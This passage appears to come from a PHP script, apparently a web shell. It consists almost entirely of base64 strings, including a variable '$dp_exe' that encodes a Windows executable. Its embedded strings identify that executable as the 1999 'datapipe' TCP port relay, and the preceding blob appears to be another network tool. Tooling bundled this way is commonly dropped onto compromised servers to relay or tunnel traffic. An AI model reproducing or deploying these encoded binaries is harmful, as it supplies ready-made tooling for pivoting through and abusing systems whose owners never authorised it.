AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAABAAAALgAAAAEAAAAAAAAAAAAAAAAAAAABAAAA/////wAAAAAAAAAA/v////7///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
$dp_exe="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i4346///i5UI7f//iZSN/Ov//4uF+Ov//4PAAYmF+Ov//zPJhcl1z4uVCO3//4mV/Oz//8eFrO7//wAAAADrD4uFrO7//4PAAYmFrO7//4O9rO7//xQPje4AAACLjazu///B4QSDvA2w7v//AA+E0gAAAIO9+Ov//0BzLIuVrO7//8HiBIuF+Ov//4uMFbTu//+JjIX86///i5X46///g8IBiZX46///M8CFwHXFi42s7v//weEEi5QNtO7//zuV/Oz//34Wi4Ws7v//weAEi4wFtO7//4mN/Oz//4O9+Ov//0BzLIuVrO7//8HiBIuF+Ov//4uMFbju//+JjIX86///i5X46///g8IBiZX46///M8CFwHXFi42s7v//weEEi5QNuO7//zuV/Oz//34Wi4Ws7v//weAEi4wFuO7//4mN/Oz//+n2/v//jZXs6///UmoAagCNhfjr//9Qi4387P//g8EBUej5AwAAhcB9CrgeAAAA6cMDAACNlfjr//9Si4UI7f//UOjSAwAAhcAPhJUBAABqAGoAi40I7f//Uei0AwAAiYXo6///x4Ws7v//AAAAAOsPi5Ws7v//g8IBiZWs7v//g72s7v//FH0Xi4Ws7v//weAEg7wFsO7//wB1AusC69GDvazu//8UD40TAQAAagBqAWoC6HkDAACJheTr//+DveTr////dR9osDBAAP8VOCBAAIPEBIuN6Ov//1HoLAMAAOnYAAAAahCNVfBSi4Xk6///UOgzAwAAhcB0K2i4MEAA/xU4IEAAg8QEi43o6///Uej3AgAAi5Xk6///UujrAgAA6ZcAAABqEI2FnO7//1CLjeTr//9R6MsCAACFwHQoaMAwQAD/FTggQACDxASLlejr//9S6LMCAACLheTr//9Q6KcCAADrVouNrO7//8HhBIuV5Ov//4mUDbju//+Lhazu///B4ASLjejr//+JjAW07v//i5Ws7v//weIEi4X06///iYQVvO7//4uNrO7//8HhBMeEDbDu//8BAAAA6yRoyDBAAIsVRCBAAIPCQFL/FUAgQACDxAiLhejr//9Q6CkCAADHhazu//8AAAAA6w+Ljazu//+DwQGJjazu//+Dvazu//8UD43kAQAAx4Xc6///AAAAAIuVrO7//8HiBIO8FbDu//8AdQLrxY2F+Ov//1CLjazu///B4QSLlA20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